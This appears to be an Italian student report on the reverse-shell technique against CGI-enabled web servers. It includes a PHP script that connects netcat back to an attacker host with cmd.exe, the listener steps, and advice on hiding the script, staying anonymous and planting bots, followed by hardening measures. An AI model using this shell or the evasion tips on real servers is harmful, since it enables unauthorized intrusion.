30.05.2013 Views

Tecnica della Reverse Shell

Tecnica della Reverse Shell

Tecnica della Reverse Shell

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

<strong>Tecnica</strong> <strong>della</strong> <strong>Reverse</strong> <strong>Shell</strong><br />

Riccardo V. Vincelli 709588<br />

r.vincelli@campus.unimib.it<br />

L' obiettivo <strong>della</strong> relazione e' illustrare come<br />

sia possibile, a patto di alcune assunzioni in<br />

termini di sicurezza non troppo restrittive,<br />

avere possibilita' d' esecuzione su un<br />

webserver tramite la tecnica <strong>della</strong> shell<br />

inversa.<br />

La trattazione vuole essere anche<br />

abbastanza pratica e rispecchia perlopiu'<br />

fedelmente esperienze avute dall' autore.<br />

1. Terminologia<br />

Con il termine shell intendiamo<br />

principalmente la seguente cosa: la<br />

possibilita' di potere utilizzare un interprete<br />

dei comandi testuale del sistema attaccato (il<br />

programma comunemente detto shell<br />

appunto), e quindi essere in grado di<br />

eseguire comandi sulla stessa macchina


compromessa.<br />

L' effettivo file eseguibile che l' attaccante<br />

sceglie di utilizzare, dovrebbe essere uno sul<br />

quale egli ha dimestichezza: mentre questo<br />

discorso non ha troppo senso ad esempio<br />

sui sistemi Windows, dove l' interprete dei<br />

comandi e' fondamentalmente uno, il file<br />

cmd.exe o command.com su sistemi datati,<br />

sui sistemi Unix si hanno in genere vari<br />

interpreti a disposizione e quindi la scelta<br />

non e' indifferente, anche rispetto alle tracce<br />

che l' attaccante stesso lascia: ad esempio la<br />

bash (Bourne-Again SHell, evoluzione <strong>della</strong><br />

Bourne SHell) offre di default una<br />

funzionalita' di cronologia dei comandi digitati<br />

(salvati nel file .bash_history, visualizzabili<br />

tramite il comando history e richiamabili<br />

tramite !n, dove n e' il numero del comando<br />

cosi' come appare nell' output di history) e<br />

quindi, una volta disconnessi, un<br />

amministratore di sistema puo' andare a<br />

vedere, in teoria, scoperta la<br />

compromissione, i comandi digitati che,<br />

potenzialmente, possono anche tradire l'<br />

attaccante; riprenderemo questo discorso


piu' avanti.<br />

Una shell si puo' ottenere in molti modi, la<br />

tecnica in esame non e' certamente la prima<br />

ad essere stata pensata ne' sicuramente la<br />

migliore.<br />

La shell piu' ambita e', ovviamente, quella di<br />

root/administrator, identificabile nella<br />

stragrande maggioranza dei sistemi *nix dal<br />

simbolo '#', ma non e' il nostro caso, almeno<br />

nella tecnica <strong>della</strong> reverse shell cosi' com'e':<br />

sarebbe potenzialmente possibile se, per<br />

assurdo, il webserver fosse eseguito da root.<br />

Con il verbo bucare intendiamo l' avere<br />

accesso esecutivo effettivo ad un sistema,ad<br />

esempio proprio avendo la possibilita' di una<br />

shell.<br />

Il termine puo' assumere significati affini, ma<br />

raggiungere il "buco" puo' anche non<br />

significare un qualcosa di troppo<br />

straordinario: se infatti si riesce ad avere<br />

possibilita' di esecuzione su una macchina<br />

non troppo performante, ad esempio, una


che risulta essere spesso<br />

irraggiungibile/sconnessa o con impedimenti<br />

formali elevati, per esempio si hanno i<br />

privilegi di un utente di comodo che non puo'<br />

molto (vedi sotto), l' avere bucato un sistema<br />

non e' cosa troppo gratificante per un<br />

attaccante.<br />

La parola bot (diminutivo di robot) intende un<br />

programma automatico che, una volta<br />

eseguito, non necessita stretta supervisione,<br />

cioe' non necessita' di input utente, e fa un<br />

qualcosa che l' attaccante reputa utile.<br />

Possiamo avere molti tipi di bot: per<br />

esempio, nel mondo di IRC (Internet Relay<br />

Chat), in alcune situazioni dei programmi bot<br />

sono utilizzati per mantenere il possesso di<br />

una stanza di discussione, o ancora nei<br />

giochi online modello client-server i bot<br />

fungono da giocatori automatici o supervisori<br />

<strong>della</strong> regolarita' del gioco stesso per evitare<br />

che gli utenti usino trucchi e similia.<br />

Un uso comune che si fa di una shell e'<br />

proprio quello di installare, ed eseguire,


programmi del tipo. Cio' si lega<br />

principalmente a due aspetti:<br />

-il bot ha necessita' di essere sempre<br />

connesso<br />

-esistono provider che offrono possibilita' di<br />

avere processi sempre in esecuzione e<br />

sempre connessi, ma al giorno d' oggi quasi<br />

nessuno di questi offre tale servizio<br />

gratuitamente.<br />

Quindi se il buco da' esito che si rivela<br />

positivo, cioe' se l' attaccante si accorge di<br />

avere in controllo una macchina<br />

soddisfacente, una possibilita' e' certo quella,<br />

se ne ha necessita', di installare suddetti bot.<br />

Vantaggi in questo senso possono essere:<br />

-l' amministratore non si accorge <strong>della</strong><br />

compromissione se non andando a dare un<br />

occhiata ai processi in esecuzione (in *nix,<br />

comando ps), o alle connessioni attive<br />

(comandi netstat oppure sockstat) poiche' il<br />

programma determina utilizzo di risorse<br />

limitato ed e' silenzioso.<br />

-l' attaccante risparmia qualche soldo poiche'<br />

ottiene quello che dovrebbe pagare (anche<br />

se non troppo, la media e' quella di 2.5$ a


processo in background e connesso, per la<br />

durata di un mese) rivolgendosi a provider in<br />

modo legale.<br />

Le possibilita' di scenari bot-related sono<br />

molte, e possono spingersi anche ad ipotesi<br />

piu' marcatamente illegali anche se (forse?)<br />

piu' rare (drone-botnet, sniffing ecc...)<br />

2. Assunzioni/prerequisiti<br />

Quello che dobbiamo avere e' possibilita' di<br />

scrittura su una macchina che permetta di<br />

eseguire da remoto degli script di un<br />

linguaggio interpretato: nella pratica mi<br />

rifaccio all' avere un account ftp su un<br />

webserver che monti perl o php nel contesto<br />

piu' ampio dello standard CGI (Common<br />

Gateway Interface, un modo W3C-compliant<br />

di gestire contenuti dinamici per siti web); il<br />

sistema operativo dev' essere Windows o<br />

Linux/*BSD (con buona approssimazione<br />

anche altri sistemi unix non troppo desueti<br />

possono andare).


Inutile dire che la possibilita' di scrittura puo'<br />

essere legittima (nostro caso) o illegittima,<br />

requisito minimo e' solo mettere gli script in<br />

un luogo dove possano essere raggiunti ed<br />

eseguiti dal webserver o meglio dall'<br />

interprete (ad esempio mod_perl per il server<br />

Apache).<br />

Questo scenario, a pensarci bene, non e'<br />

nulla di raro: provider come Aruba forniscono<br />

per pochi euro un servizio di questo tipo su<br />

base annuale ed al giorno d' oggi la<br />

stragrande maggioranza dei siti internet di<br />

privati e piccole-medie imprese sono operati<br />

in questo od altri molto affini modi (non sto<br />

citando nessuna fonte ma e' un fatto<br />

abbastanza immediato a chi abbia un minimo<br />

di dimestichezza nel campo).<br />

Un altro prerequisito, banale, e' quello di<br />

avere un web browser funzionante: per<br />

fortuna per quel che ci interessa, non ci<br />

serve altro che digitare un url ed attenderne l'<br />

esecuzione (tanto per intenderci, anche un<br />

browser come Lynx va piu' che bene, ma<br />

assumiamo InternetExplorer).


Altri strumenti che ci servono sono un netcat<br />

ed uno script per eseguire la shell<br />

remotamente, ed un programma per<br />

ricevere, localmente, la shell inviata da<br />

remoto (a tal proposito utilizzo ancora<br />

netcat).<br />

Lo script scritto da me e' molto semplice, e<br />

netcat e' un' utility free.<br />

3. L' attacco<br />

Lo schema dell' attacco e' abbastanza<br />

semplice, ma potente:<br />

1. Modificare lo script: la coppia<br />

indirizzo:porta cui mandarla.<br />

Attenzione se decidiamo di mandarla ad un<br />

indirizzo riconducibile a noi! (es. il pc di<br />

casa, molto riconducibile a noi direi)<br />

2.Caricarlo (una cartella dove siamo sicuri<br />

sia raggiungibile e' quella dove si trova<br />

anche l' index o simili corrente)<br />

3.Caricare netcat nello stesso luogo (netcat


emoto)<br />

4.Mettere in ascolto il netcat locale sulla<br />

coppia indirizzo:porta scritti nello script<br />

5. Eseguire lo script tramite url<br />

Attenzione se decidiamo di mandare la<br />

richiesta da un indirizzo riconducibile a<br />

noi! (es. non utilizzando proxy; ricordiamo<br />

poi che browser come IE lasciano una<br />

caterva di informazioni aggiuntive!)<br />

6. Connettersi a dove abbiamo mandato la<br />

shell.<br />

Le istruzioni le ho riscritte in inglese nello<br />

script stesso.<br />

4. Esame dei passi<br />

4.1. Script<br />

Lo script fornito e' stato scritto pensando di<br />

attaccare un server Windows, dove la<br />

particolare scomodita' e' la presenza di un<br />

interprete di default non avanzato che non<br />

permette d' essere usato interattivamente da<br />

remoto: questo ci costringe ad appoggiarci a<br />

netcat anche per il lato server.


Ho conosciuto questa tecnica circa quattro<br />

anni fa, presi dal sito<br />

http://www.pentestmonkey.org degli script sia<br />

in perl sia in php che fanno la stessa cosa<br />

ma in modo piu' avanzato ed anche<br />

sicuramente piu' fine: in particolare non ci si<br />

appoggia a netcat per l' interattivita' ma all'<br />

opzione -i delle shell redirigendo gli standard<br />

input, output ed error su una socket tcp.<br />

Ai tempi, per avere un' idea statistica di<br />

massima, 4 su 5 server risultavano proni.<br />

Riprovando oggi, la situazione e' inversa,<br />

infatti l' idea di hardening rispetto alla<br />

sicurezza degli script web e' cosa comune.<br />

Codice:<br />


http://joncraton.org/media/files/nc111nt<br />

.zip<br />

//-on the attacking host (your box or<br />

one you control, whose ip is say<br />

1.3.3.7)<br />

// put netcat in listening mode on a<br />

free port: nc -l -p 12345<br />

// On Windows I noticed that binding to<br />

a particular address is not working<br />

// properly, so the command I suggest is<br />

always fine.<br />

//-upload the script:<br />

// --you must upload it in a directory<br />

url-reachable (ie from a browser)<br />

// --it's necessary it supports script<br />

execution too (ie cgi-bin)<br />

//-upload netcat<br />

//-execute the script (ie<br />

http://example.com/cgiscript/script.php)<br />

//-on the console you issued the<br />

listening command,<br />

// you should receive the desired shell.<br />

//<br />

//This script is lame and is intended<br />

for spawning against a win box.<br />

//If you want finer examples ncindependent<br />

for the server side and<br />

//unix-targeting check out<br />

http://pentestmonkey.net/tools/phpreverse-shell/<br />

//


Bugs:<br />

//The "manual" is way longer than the<br />

code itself<br />

//<br />

//Author:<br />

//RVV - r.vincelli@campus.unimib.it<br />

$shell = 'nc.exe -v -n 192.168.1.4 12345<br />

-e cmd.exe';<br />

exec($shell);<br />

?><br />

Vedi "Esempio" per una dimostrazione dell'<br />

attacco.<br />

4.2. Caricamento<br />

L' assunzione piu' comoda e' avere un<br />

account ftp o similia per uppare lo script in<br />

una directory raggiungibile dal webserver;<br />

ovviamente in generale e' quest' ultimo punto<br />

che ci interessa, non tanto come ci arriviamo<br />

(ftp o altro).<br />

Lo script e' un file php, testo quindi, e va<br />

inviato in modalita' ascii pertanto. Non e'<br />

generalmente necessario modificarne i<br />

permessi, ma e' auspicabile modificarne il<br />

nome in qualcosa che, se proprio non


inganni, quando lo legga, l' amministratore,<br />

almeno non gli sia lampante quando ci mette<br />

sopra gli occhi.<br />

Torneremo sotto sui "tempi di sopravvivenza"<br />

stimati di questo tipo di attacco.<br />

4.3-4.4. Netcat<br />

Netcat (nc) e' un' utility unix portata anche a<br />

Windows soprannominata "coltellino svizzero<br />

di Internet", ed a buon diritto: puo' essere<br />

utilizzato in modo arbitrario come peer di una<br />

connessione tcp o udp, permettendo cose<br />

come modello client/server, trasferimento di<br />

dati, client raw e molte altre. Nel nostro caso<br />

ci limitiamo al comando per metterlo in<br />

ascolto:<br />

nc -l -p PORTA<br />

dove PORTA dev' essere ovviamente quella<br />

messa nello script.<br />

In un sistema Windows la porta in uso non<br />

dev' essere bloccata da firewall, in unix oltre<br />

a questo dobbiamo utilizzare, se non root (e<br />

veramente non ha senso che si sia loggati<br />

root in una situazione del genere, e piu' in<br />

generale ora non ha piu' senso essere<br />

loggati come root, esistendo utility come


sudo) una porta piu' alta di 1024.<br />

4.5. Esecuzione<br />

L' esecuzione si riduce al digitare l'<br />

opportuno url nel nostro browser di fiducia.<br />

Come gia' notato quest' azione, assieme all'<br />

utilizzo <strong>della</strong> shell ma anche maggiormente<br />

rispetto questa, e' una con la quale riveliamo<br />

un sacco di informazioni al webserver; non<br />

volendo entrare nel merito di browser<br />

particolari come detto sopra, la quantita' di<br />

informazioni rilasciata puo' essere valutata<br />

ad esempio all' indirizzo<br />

http://mybrowserinfo.com/detail.asp ;<br />

ricordando che tutti i webserver hanno una<br />

minima logging capability abilitata di default,<br />

e' un punto su cui proprio non possiamo<br />

transigere.<br />

Come noto, e' possibile utilizzare un proxy<br />

per "nascondere" l' indirizzo del browser, ma<br />

questa via non e' dopotutto il massimo<br />

perche':<br />

-non tutti i tipi di proxy sono anonimi (nel<br />

senso che inoltrano si' la connessione da<br />

parte nostra, ma comunicano la nostra<br />

identita' al webserver o mantengono log dei


client che servono)<br />

-di default, la funzionalita' di proxy dei<br />

browser permette di utilizzarne uno solo alla<br />

volta<br />

-i proxy sono difficili da trovare: quelli che<br />

veramente si rivelano funzionanti sono<br />

solitamente pochi ed in posti esotici (e con<br />

funzionanti intendiamo anche stabili, cioe'<br />

presenti in rete almeno per 24 ore senza<br />

troppa discontinuita'), nonche' subissati di<br />

richieste (specie se appaiono in cima a varie<br />

liste pubbliche come<br />

http://www.samair.ru/proxy ); molti non sono<br />

altro che computer (spesso pc domestici)<br />

compromessi e suoi quali e' installata dal<br />

trojan/bot di turno una funzionalita' proxy, o<br />

tali in virtu' di misconfigurazioni/difetti di<br />

software applicativo (o una combinazione dei<br />

fattori: noto e' il binomio Sobig worm-<br />

Wingate v5)<br />

Un' alternativa sono fornitori di proxy/socks a<br />

pagamento (ma non ha troppo senso!).<br />

Un passo successivo in termini di ricerca d'<br />

anonimato puo' essere l' onion routing<br />

( http://www.torproject.org/index.html.it ).<br />

Ovviamente modi piu' sofisticati, avendo a


disposizione macchine esterne cui non<br />

siamo riconducibili (e che reputiamo<br />

sufficientemente insicure o "distratte" in<br />

termini di logging), sono sempre possibili:<br />

una molto in voga qualche anno fa (o meglio<br />

piu' di qualche anno fa) e' l' utilizzo di un<br />

datapipe, ossia di un piccolo programmino, in<br />

c o in perl solitamente, da eseguire sulla<br />

macchina intermediaria con principalmente<br />

tre argomenti: una porta locale su cui<br />

ascoltare in tcp, una porta ed host remoto cui<br />

mandare i dati ricevuti (una versione anche<br />

interattiva si puo' trovare a<br />

http://packetstormsecurity.org/groups/s0ftpj/p<br />

ippa_v2.txt ).<br />

4.6. Connettiamoci!<br />

Il passo finale non e' altro che connetterci<br />

dove abbiamo mandato la shell; se e' una<br />

prova o se ci fidiamo ci connetteremo a noi<br />

stessi. Pur essendo possibile riutilizzare<br />

netcat, e' molto piu' comodo il noto telnet:<br />

telnet e' un protocollo con i quali molti<br />

smanettoni hanno sicuramente confidenza,<br />

se non altro per azioni lamer ma sicuramente<br />

didattiche come provare a mandarci una mail


anonima o connettercisi ad IRC.<br />

5. Concretizzazione dell' attacco<br />

Una volta dentro, dobbiamo decidere che<br />

fare; in qualsiasi caso, ci deve guidare il<br />

buonsenso.<br />

Anzitutto, avremo poteri limitati: la shell avra'<br />

i privilegi dell' utente che ha eseguito il<br />

demone http: in unix e' solitamente un utente<br />

di comodo (httpd, www, nobody ecc...), in<br />

Windows ci possiamo aspettare un utente<br />

non di default ma “sicuramente” non di livello<br />

amministrativo.<br />

Ricordiamo che oltre all' utilizzo di utenti di<br />

comodo, altre configurazioni di sicurezza<br />

adatte anche ad un ambiente DAC<br />

(discretionary access control) possono<br />

essere:<br />

-chrooting: un' applicazione e' "bloccata" in<br />

una sottodirectory, cioe' posta in un contesto<br />

dove ha tutti i file necessari al suo<br />

funzionamento sottoforma di hardlink ai file<br />

effettivi, e copie dei device in caso<br />

-jailing: sistema introdotto da FreeBSD che


prevede il partizionamento dell' os in vari<br />

sottosistemi virtuali indipendenti<br />

trasparentementemente all' utente.<br />

Notiamo che tutti queste possibilita' sono un<br />

qualcosa di nativo nei sistemi unix: per<br />

questo e per altri motivi (es. multiutenza e<br />

permessi stretti, paradigmi MAC-mandatory<br />

access control), sono da reputarsi piu' sicuri:<br />

semmai dubbi si possono avere circa la<br />

facilita' nel configurare l' ambiente adatto, e<br />

per sanare questo punto ci si puo' ad<br />

esempio aiutare con wizard grafici e con un<br />

approccio meno hardcore unix all' utilizzo dei<br />

file di configurazione (la strada presa da Mac<br />

OSX).<br />

Buonsenso e' anche rendersi conto che,<br />

comunque sia, danneggiare il sistema<br />

cancellando file su cui si hanno permessi e'<br />

deleterio: in prima battuta per una questione<br />

morale (stiamo buttando via lavoro altrui) in<br />

seconda per una pratica; un admin che si<br />

accorge di essere stato "battuto" ma non<br />

rileva danni, puo' pigramente prendere nota<br />

dell' accaduto e dimenticarsene (ecco magari<br />

non troppo pigramente, dovrebbe cercare di


capire come l' attaccante e' entrato!).<br />

Ma nel caso in cui abbia problemi di sorta, ad<br />

esempio un cliente del provider che possiede<br />

il webserver si ritrova lo spazio web<br />

interamente cancellato, inattivo per del<br />

tempo, e la colpa finisce sull' admin, puo'<br />

magari mettersi a spulciare, termine non<br />

correttissimo visto che esiste software che<br />

agevola il processo, i log di sistema e<br />

provare a non farla passare liscia all'<br />

attaccante.<br />

Posto che non facciamo nessuna azione che<br />

ci renda visibili (cancellazioni gratuite o<br />

anche defacciamenti dei siti), ci chiediamo<br />

ora come fare per rimanere piu' a lungo<br />

possibile invisibili (o nascosti bene) agli occhi<br />

dell' admin.<br />

La tecnica <strong>della</strong> reverse shell dovrebbe<br />

essere un punto di partenza e non di arrivo:<br />

non abbiamo in casi normali grossi privilegi e<br />

siamo dipendenti da uno script.<br />

Settarlo nascosto e "nasconderlo" in<br />

sottocartelle puo' aiutare, tutto dipende dalla<br />

frequenza con cui il sito internet e'


aggiornato ma soprattutto da come: se per<br />

assurdo il webmaster o chi per esso usano<br />

solo cms (content management systems) e<br />

non danno mai un occhio alla webroot per<br />

esempio via ftp, ci sono buone possibilita'<br />

per noi in questo senso, giusto per citare uno<br />

scenario.<br />

Se la vediamo appunto come partenza, il<br />

passo successivo e' ottenere quel che<br />

vogliamo dal sistema nel miglior modo<br />

possibile; e con cio' comprendiamo un range<br />

di possibilita' vasto, su cui soffermarsi<br />

sarebbe troppo lungo: nascondiamo in /tmp<br />

(dove sicuramente abbiamo accesso in<br />

scrittura) il bot che vogliamo eseguire, o<br />

iniziamo a cercare in rete un exploit locale<br />

per ottenere la root?<br />

In questa fase generalmente non possiamo<br />

prescindere dal sistema in uso, in un livello di<br />

dettaglio anche abbastanza alto: ad esempio<br />

se siamo su una linux box a kernel x.y.z.-tu,<br />

dobbiamo cercare un qualcosa<br />

appositamente per quel kernel.<br />

E' quasi impossibile trovare exploit potenti<br />

locali che sfruttino componenti native del


sistema come kernel, librerie famose ecc;<br />

paga molto di piu' cercare di isolare la<br />

presenza di software applicativi particolari sul<br />

sistema, ad esempio associati a servizi, e<br />

cercare attacchi per questi. Meglio ancora se<br />

proprietari o di vendor non famosissimi: in<br />

questi casi il codice quasi sicuramente<br />

chiuso facilita un eventuale successo.<br />

Certo, se l' attaccante e' veramente di alto<br />

livello, puo' contare sugli zeroday: ma questo<br />

e' un altro discorso.<br />

6. Cure e prevenzioni<br />

Come d' obbligo, bisogna anche mettersi nei<br />

panni dell' admin: poniamo che si accorga<br />

<strong>della</strong> compromissione del sistema, cosa<br />

dovrebbe fare?<br />

La risposta e' valida in senso generale e<br />

possiamo astrarla dall' attacco particolare<br />

<strong>della</strong> reverse shell:<br />

-cercare file e processi sospetti e cancellarli,<br />

terminarli<br />

-esaminare i log di sistema ed applicativi<br />

-isolare le componenti che potrebbero<br />

nascondere la falla


-documentarsi circa vulnerabilita' note su<br />

queste (CVE, BugTraq, siti vendor ecc)<br />

-confrontarsi con altri colleghi<br />

-arrivare ad una soluzione<br />

E' curioso come molte volte siano gli<br />

attaccanti stessi a tendere una mano agli<br />

amministratori di sistema suggerendo la<br />

vulnerabilita' da essi sfruttata o addirittura<br />

fornendo una patch.<br />

Per le prevenzioni invece possiamo portarci<br />

piu' nello specifico proprio rispetto alla<br />

reverse shell; queste sono solo alcune delle<br />

possibili vie.<br />

6.1. Disabilitare gli interpreti in<br />

questione/rinunciare alla common gateway<br />

interface: se non c'e' modo di interpretare gli<br />

script, essi ovviamente sono innocui; e' una<br />

soluzione drastica che puo' non essere<br />

accettabile se la tecnologia cgi e' parte<br />

integrante dell' uso comune del nostro<br />

webserver. Come abbiamo spesso riflettuto<br />

in aula, una risposta del tipo e' una risposta<br />

efficace ma e' un po' un' ultima spiaggia. Un'<br />

altra soluzione molto piu' logica puo'


essere...<br />

6.2....configurare opportunamente quel che<br />

si puo' fare e non, in termini di script! Mi<br />

rifaccio ad una situazione cgi su Apache:<br />

Apache e' infatti il webserver piu' comune e<br />

tra i piu' sicuri; analoghe prevenzioni si<br />

possono avere sull' IIS di Microsoft, che sta<br />

cercando di colmare il gap ma non puo' certo<br />

contare su una community come quella di<br />

Apache.<br />

Abbiamo:<br />

httpd.conf/.htaccess<br />

httpd.conf e' il file di configurazione<br />

principale di Apache, l' abilitazione ed il<br />

settaggio del cgi passano da qui.<br />

Possiamo permettere l' esecuzione di script<br />

cgi (in un qualsiasi linguaggio adatto) in vari<br />

modi:<br />

-direttiva ScriptAlias: le directory che la<br />

seguono sono indicate al server come le<br />

uniche che in un url possono prevedere l'<br />

interpretazione di uno script; se ad esempio<br />

ho:<br />

...


ScriptAlias /cgibin/<br />

...<br />

l' url<br />

http://www.example.com/cgi-bin/test.pl<br />

non determina una richiesta a buon fine dato<br />

che la cartella non e' tra quelle indicate.<br />

-direttiva Options:<br />

...<br />

<br />

Options +ExecCGI<br />

<br />

...<br />

che pero' richiede anche di specificare le<br />

estensioni d' interesse (differentemente dal<br />

modo con ScriptAlias che intende tutti i file<br />

nelle directory specificate come potenziali<br />

script):<br />

...<br />

AddHandler cgi-script .cgi .pl<br />

...<br />

Con queste indicazioni, evitando di lasciare<br />

agli utenti cartelle abilitate agli script dove ne<br />

possano mettere di loro, si raggiunge un<br />

buon livello di sicurezza.<br />

In caso in cui si voglia portare questo cgi


hardening ma non si abbia accesso al<br />

httpd.conf, si possono utilizzare, nei limiti<br />

definiti nel httpd.conf stesso, i file .htaccess,<br />

che non sono altro che override di quest'<br />

ultimo cui effetto e' sulla cartella in cui si<br />

trovano e tutte le sottocartelle (ad esempio<br />

ha senso metterne uno nella webroot).<br />

6.3. Controllare i file caricati<br />

E' possibile pensare ad un processo che<br />

verifichi direttamente il contenuto dei file nell'<br />

albero directory ed agisca di conseguenza:<br />

se in una cartella mi aspetto solo immagini,<br />

elimino i file che non lo sono; se in un' altra<br />

mi aspetto solo codice html, non mi basta<br />

verificare l' estensione, ma vado alla ricerca<br />

di pattern (es. #!/usr/bin/perl) in base a cui<br />

elimino file dannosi; e' possibile anche<br />

pensare ad un report program.<br />

Un semplice script del potente ambiente<br />

shell puo' essere:<br />

#!/bin/sh<br />

while true;<br />

do<br />

for file in *<br />

do<br />

a=$(file $file)


=$file": PHP script text"<br />

c=$file": perl script text executable"<br />

if test "$a" = "$b"<br />

then rm -f $file<br />

elif test "$a" = "$c"<br />

then rm -f $file<br />

fi;<br />

done<br />

done<br />

dove in pratica, per ogni file nella directory<br />

dove lo script e' eseguito, se ne verifica il tipo<br />

tramite l' utility file, e se e' di tipo php o perl,<br />

lo si elimina; lo script e' semplice anche se<br />

ha come punti delicati l' assegnamento dell'<br />

output di un comando ad una variabile<br />

(costrutto $(command)) e la concatenazione<br />

di due stringhe (variabili $b e $c); attenzione<br />

anche al quoting (utilizzando '' al posto di ""<br />

abbiamo errore perche' le variabili non sono<br />

valutate).<br />

Lo script e' da posizionare nelle directory<br />

sensibili; ovviamente si possono avere script<br />

piu' complessi ad esempio che prendono l'<br />

input delle estensioni trigger da un file e<br />

controllano una lista di directory prefissata,<br />

ecc. E' preferibile eseguirlo in background<br />

(posponendo la &) e regolarne l' esecuzione<br />

in startup (ad esempio via cron).


Non dimentichiamo che uno script del genere<br />

puo' essere utilizzato anche su ambiente<br />

Windows: essendo il batch scripting piu'<br />

debole, si puo' talvolta pensare all' uso di<br />

ambienti d' emulazione ad-hoc come<br />

Cygwin.<br />

6.4. Rinominare i file<br />

Questo metodo e' abbastanza debole se<br />

adottato in un sistema in cui l' utente<br />

attaccante ha accesso di lettura e scrittura<br />

pieno, ma buono se percaso l' utente puo'<br />

solo fare upload senza avere la possibilita' di<br />

vedere il contenuto <strong>della</strong> cartella dove carica<br />

file; cambiando il nome dei file (es. attraverso<br />

hashing), l' attaccante non sara' piu' in grado<br />

di formulare un trigger url valido; non si<br />

applica al nostro scenario dove abbiamo<br />

assunto possibilita' ftp equivalenti.<br />

7. Conclusioni<br />

L' attacco <strong>della</strong> shell inversa ha sicuramente<br />

una sua importanza didattica, poiche'<br />

tocchiamo vari argomenti: dall' ambiente di<br />

shell ai linguaggi di scripting.


In termini di efficacia effettiva non e' forse<br />

esaltante: anche quando si riesca a caricare<br />

con successo, ed a fare in modo che non<br />

venga cancellato, nei limiti del possibile, lo<br />

script, le incognite sono rappresentate dal<br />

poter eseguire l' interprete dei comandi, ed il<br />

doversi fermare, almeno in prima battuta, a<br />

privilegi bassi.<br />

Piu' in generale sfruttare l' "aiuto" degli<br />

linguaggi interpretati e' una modalita' d'<br />

attacco applicata anche sotto altri nomi, e<br />

citiamo tra gli altri:<br />

SQL injection: l' attacco consiste nel<br />

presentare in una query sql dati arbitrari<br />

opportunamente scritti. Scenario tipico e'<br />

quello di un file html contenente il form ed un<br />

file in un linguaggio interpretato (es. php)<br />

incaricato di interfacciarsi col dbms per<br />

inoltrare effettivamente l' interrogazione. In<br />

caso di controlli deboli dal lato server, sono<br />

possibili situazioni di autenticazione senza<br />

credenziali ma sullo stesso paradigma e'<br />

possibile pensare anche ad arrivare alla shell


se il dbms espone comandi opportuni (es.<br />

"esegui comando locale").<br />

La reverse shell e' attacco in linea generale<br />

aperto se non ai lamer nella gerarchia degli<br />

smanettoni, almeno ai kiddie: infatti le<br />

conoscenze da avere sono veramente poche<br />

ed il ritocco del codice banale (parametri<br />

host e porta): script del tipo e' suggerito<br />

modificarli leggermente (es. cancellazione d'<br />

una parentesi) per scoraggiare proprio gli<br />

utenti infimi prima di rilasciarli in the wild,<br />

anche se solo come proof of concept, che in<br />

fin dei conti non e' altro che termine<br />

eufemismo per exploit.<br />

8. Esempio<br />

Provo ad instaurare l' attacco da macchina<br />

Windows ad un' altra ancora Windows,<br />

premettendo che sono entrambe mie,<br />

collegate in lan in modo diretto.<br />

L' ambiente web e' rappresentato, per quel<br />

che c' interessa, dal server web Apache con


mod_php abilitato; in particolare per fare piu'<br />

in fretta con la configurazione, ed anche<br />

perche' e' solo un esempio, ho optato per<br />

binari preconfigurati e precompilati con<br />

IndigoAMPP <strong>della</strong> software house IndigoStar.<br />

Inutile dire che scelte del tipo sono<br />

fondamentalmente sbagliate nel caso dell'<br />

allestimento di un server vero e proprio. La<br />

documentazione ufficiale Apache poi e'<br />

esauriente circa l' installazione del webserver<br />

in ambiente Windows, anche se l' ambiente<br />

di riferimento naturale e' certamente uno di<br />

stampo unix.<br />

La webroot; evidenziati i file d' attacco nc e<br />

script:


In ascolto sulla macchina attaccante:


Esecuzione dello script:


La shell e' arrivata! Notiamo che l' ultimo<br />

comando e' un comando dal basso<br />

buonsenso!


9. Webografia/link utili<br />

http://{en,it}.wikipedia.org<br />

http://www.pentestmonkey.org<br />

http://joncraton.org/files/nc111nt.zip<br />

http://www.indigostar.com

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!